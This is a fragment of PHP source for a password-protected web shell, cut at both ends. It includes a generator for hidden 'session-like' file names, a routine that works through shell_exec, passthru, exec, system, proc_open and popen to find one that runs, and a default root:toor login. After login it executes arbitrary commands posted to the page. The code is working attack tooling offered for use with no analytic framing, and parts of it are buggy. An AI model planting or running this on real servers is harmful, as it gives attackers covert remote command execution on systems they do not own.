false); if (isset($_COOKIE[session_name()])) setcookie(session_name(), '', time()-44000, '/'); session_destroy(); } function stripslashes_deep($value) { if (is_array($value)) return array_map('stripslashes_deep', $value); else return stripslashes($value); } // create 'hidden session looking' filename function sess_fname() { return '.sess_'.md5(mt_rand()); } // check for valid port function is_port($port){ $retport = (is_numeric($port) && $port>=0 && $port<=65535) ? true : false; return $retport; } // todo: check for valid ip // execute command by enabled function function exec_method($cmd) { $retval = true; if(is_callable('shell_exec') and !in_array('shell_exec',$disabled_funcs)) { $ret_exec=shell_exec($cmd); } else if (is_callable('passthru') and !in_array('passthru',$disabled_funcs)) { ob_start(); passthru($cmd); $ret_exec=ob_get_contents(); ob_end_clean(); } else if (is_callable('exec') and !in_array('exec',$disabled_funcs)) { $ret_exec=array(); exec($cmd,$ret_exec); } else if (is_callable('system') and !in_array('system',$disabled_funcs)) { ob_start(); system($cmd); $ret_exec=ob_get_contents(); ob_end_clean(); } else if (is_callable('proc_open')and!in_array('proc_open',$disabled_funcs)) { $handle=proc_open($cmd,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); $ret_exec=NULL; while(!feof($pipes[1])) { $ret_exec.=fread($pipes[1],1024); } @proc_close($handle); } else if(is_callable('popen')and!in_array('popen',$disabled_funcs)){ $fp=popen($cmd,'r'); $ret_exec=NULL; } else { $retval = false; } return $retval; } if (get_magic_quotes_gpc()) $_POST = stripslashes_deep($_POST); // Initialize variables $username = isset($_POST['username']) ? $_POST['username'] : ''; $password = isset($_POST['password']) ? $_POST['password'] : ''; $webshcmd = isset($_POST['cmd']) ? $_POST['cmd'] : ''; $rows = isset($_POST['rows']) ? $_POST['rows'] : 24; $columns = isset($_POST['columns']) ? $_POST['columns'] : 80; /* Default username:password is root:toor , replace '435b41068e8665513a20070c033b08b9c66e4332' in the line below with the sha1 hash from the command 'echo -n yourpasswordhere | sha1sum -' */ $ini['users'] = array('root' => 'sha1:435b41068e8665513a20070c033b08b9c66e4332'); // Default settings $default_settings = array('home-directory' => '.'); // Merge settings $ini['settings'] = array_merge($default_settings, $ini['users']); session_start(); if (isset($_POST['logout'])) logout(); // Authentication if (isset($ini['users'][$username])) { if (strchr($ini['users'][$username], ':') === false) { // No seperator = clear text password $_SESSION['authenticated'] = ($ini['users'][$username] == $password); } else { list($fkt, $hash) = explode(':', $ini['users'][$username]); $_SESSION['authenticated'] = ($fkt($password) == $hash); } } // not authed? if (!isset($_SESSION['authenticated'])) $_SESSION['authenticated'] = false; if ($_SESSION['authenticated']) { // Initialise session variables if (empty($_SESSION['cwd'])) { $_SESSION['cwd'] = realpath($ini['settings']['home-directory']); $_SESSION['output'] = ''; } if (!empty($webshcmd)) { // append commmand to output $_SESSION['output'] .= '$ ' . $webshcmd . "\n"; // Initialize cwd if (preg_match('/^[[:blank:]]*cd[[:blank:]]*$/', $webshcmd)) { $_SESSION['cwd'] = realpath($ini['settings']['home-directory']); } elseif (preg_match('/^[[:blank:]]*cd[[:blank:]]+([^;]+)$/', $webshcmd, $regs)) { // 'cd' command to be handled as internal shell command if ($regs[1]{0} == '/') { // its an absolute path, leave it $new_dir = $regs[1]; } else { // append relative paths to cwd $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; } // '/./' becomes '/' while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir); // '//' becomes '/' while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir); // 'x/..' becomes '' while (preg_match('|/\.\.(?!\.)|', $new_dir)) $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); if ($new_dir == '') $new_dir = '/'; if (@chdir($new_dir)) { $_SESSION['cwd'] = $new_dir; } else { $_SESSION['output'] .= "cd: could not change to: $new_dir\n"; } } elseif (trim($command) == 'exit') { logout(); } else { chdir($_SESSION['cwd']); // cannot use putenv() when in safe mode if (!ini_get('safe_mode')) { // putenv the terminal size for programs putenv('ROWS=' . $rows); putenv('COLUMNS=' . $columns); } // alias expansion $length = strcspn($webshcmd, " \t"); $token = substr($webshcmd, 0, $length); if (isset($ini['aliases'][$token])) $webshcmd = $ini['aliases'][$token] . substr($webshcmd, $length); $io = array(); $p = proc_open($webshcmd, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); // stdout while (!feof($io[1])) { $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8'); } // stderr while (!feof($io[2])) { $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8'); } fclose($io[1]); fclose($io[2]); proc_close($p); } } echo "
'; } ?>